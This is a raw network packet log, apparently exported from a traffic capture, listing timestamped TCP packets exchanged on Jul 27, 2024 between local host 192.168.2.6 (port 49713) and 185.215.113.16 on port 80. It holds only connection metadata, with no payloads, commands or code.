Jul 27, 2024 03:19:23.877294064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877324104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877330065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877340078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877348900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877357960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877366066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.877372980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877387047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.877401114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.926985025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927001953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927014112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927050114 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927072048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927159071 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927170992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927182913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927194118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927210093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927221060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927248001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927258015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927268028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927278042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927294016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927301884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927305937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927316904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927328110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927335024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927359104 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927411079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927421093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927431107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927438974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927448988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927459002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927467108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927475929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927485943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927494049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927494049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927511930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927537918 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927558899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927575111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927583933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927594900 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927604914 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927613020 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927622080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927632093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927639008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927647114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927654982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927664042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927671909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927680969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927690029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927697897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927706003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927721024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927731037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927747965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927757025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927767038 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927782059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927788973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.927795887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927809954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.927824974 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962616920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962636948 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962647915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962656975 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962667942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962680101 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962696075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962703943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962713003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962729931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962737083 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962749004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962754965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962762117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962769985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962785006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962791920 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962801933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962807894 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962816954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962824106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962831974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962838888 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962853909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962861061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962868929 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962877989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962902069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962917089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962924004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962940931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962946892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962955952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962965965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.962982893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962990999 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.962996006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963006020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963023901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963037014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963042021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963052034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963068008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963073969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963083982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963090897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963102102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963110924 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963135004 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963150024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963159084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963171005 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963196039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963212013 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963227034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963236094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963244915 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963263035 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963270903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963279963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963279963 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963289022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963296890 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963305950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963315010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963321924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963329077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963344097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963359118 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.963980913 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.963992119 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964001894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964020967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964039087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964046001 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964055061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964066029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964072943 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964097977 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964140892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964150906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964162111 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964169979 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964202881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964221001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964231014 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964241028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964248896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964262962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964272976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964298010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964298010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964314938 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964322090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964330912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964342117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964349985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964363098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964385986 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964442015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964451075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964462996 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964472055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964478970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964490891 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964497089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964504957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964529991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964539051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964555025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964565039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964575052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964584112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964591980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964607954 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964616060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964629889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964637041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964644909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964653015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964662075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964678049 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964684010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964694977 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964704990 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964711905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964723110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964730024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964745045 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964752913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964761019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964772940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964780092 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964787960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964798927 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964816093 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964832067 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964845896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964854956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964864016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964876890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964888096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964895010 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964905024 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964910984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964920044 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964926958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964935064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:23.964941978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964956045 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:23.964979887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.017895937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.017970085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018011093 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018021107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018030882 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018040895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018050909 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018057108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018066883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018074036 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018083096 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018104076 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018121958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018167973 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018177986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018188000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018202066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018207073 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018214941 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018224955 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018230915 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018245935 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018270016 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018320084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018328905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018337011 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018342018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018351078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018358946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018376112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018408060 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018486023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018495083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018506050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018515110 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018527031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018542051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018564939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018665075 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018699884 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018727064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018737078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018745899 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018749952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018759012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018774033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018780947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018796921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018817902 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018824100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018832922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018842936 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.018867970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.018884897 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.020339966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.020353079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.020375967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.020395041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050266027 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050282001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050302029 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050313950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050326109 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050337076 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050352097 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050367117 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050386906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050399065 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050409079 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050421953 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050436020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050446033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050460100 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050466061 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050477982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050477982 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050483942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050513029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050520897 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050532103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050543070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050574064 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050595999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050606012 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050623894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050646067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050667048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050682068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050695896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050717115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050736904 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050760031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050772905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050786972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050820112 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050852060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050873995 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050892115 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050914049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050923109 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050952911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.050967932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.050990105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051004887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051035881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051053047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051074028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 27, 2024 03:19:24.051090956 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051110029 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 27, 2024 03:19:24.051122904 CEST	80	49713	185.215.113.16	192.168.2.6
